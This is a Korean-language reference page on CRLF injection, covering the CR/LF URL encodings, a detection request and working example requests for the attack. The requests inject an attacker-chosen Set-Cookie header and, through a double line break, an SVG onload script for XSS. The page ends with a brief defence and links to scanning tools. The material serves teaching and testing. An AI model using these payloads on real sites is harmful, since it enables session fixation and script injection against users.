CRLF Injection
Introduction
CRLF Injection은 Carriage Return Line feed Injection의 약자로 각 개행문자를 의미하는 CR(\r) LF(\n)을 이용하여 HTTP Request 또는 Response를 분리하여 공격자가 의도한 동작을 수행시키는 공격 기법을 의미합니다.
- | Name | ASCII Code | URL Encode | Char |
---|---|---|---|---|
CR | Carriage Return | ASCII 13 | %0D | \r |
LF | Line Feed | ASCII 10 | %0A | \n |
Offensive techniques
Detect
XSS와 동일하게 HTTP Request 내 사용자 입력이 Response에 반영되는 부분이 주요 포인트이며, Request에서 \r\n
즉 %0d
, %0a
를 이용하여 개행할 수 있다면 취약한 것으로 볼 수 있습니다.
Request
GET /redirect?location=/abcd%0d%0a1234
Response
HTTP/1.1 200 OK
Location: /abcd
1234
Exploitation
Add cookie
CRLF Injection 구문이 헤더에 반영되는 경우 임의로 쿠키를 삽입할 수 있습니다.
GET /redirect?location=ws://%0d%0aSet-Cookie: session=attackersessions;
HTTP/1.1 200 OK
Location: ws://
Set-Cookie: session=attackersessions;
XSS
CRLF Injection 구문이 헤더에 반영되는 경우 \r\n\r\n 과 같이 두번 개행하여 Response body 영역에 임의로 HTML 코드를 추가하여 XSS와 동일하게 사용자 브라우저에서 스크립트를 실행할 수 있습니다.
GET /redirect?location=ws://%0d%0a%0d%0a<svg/onload=alert(45)>
HTTP/1.1 200 OK
Location: ws://
<svg/onload=alert(45)>
Defensive techniques
사용자 입력 값에서 CR(\r)LF(\n)가 실제 개행되어 반영되지 않도록 제한합니다.
Tools
- https://github.com/MichaelStott/CRLF-Injection-Scanner
- https://github.com/hahwul/dalfox (BAV에서 CRLF Injection을 체크해줍니다)
- https://github.com/rudSarkar/crlf-injector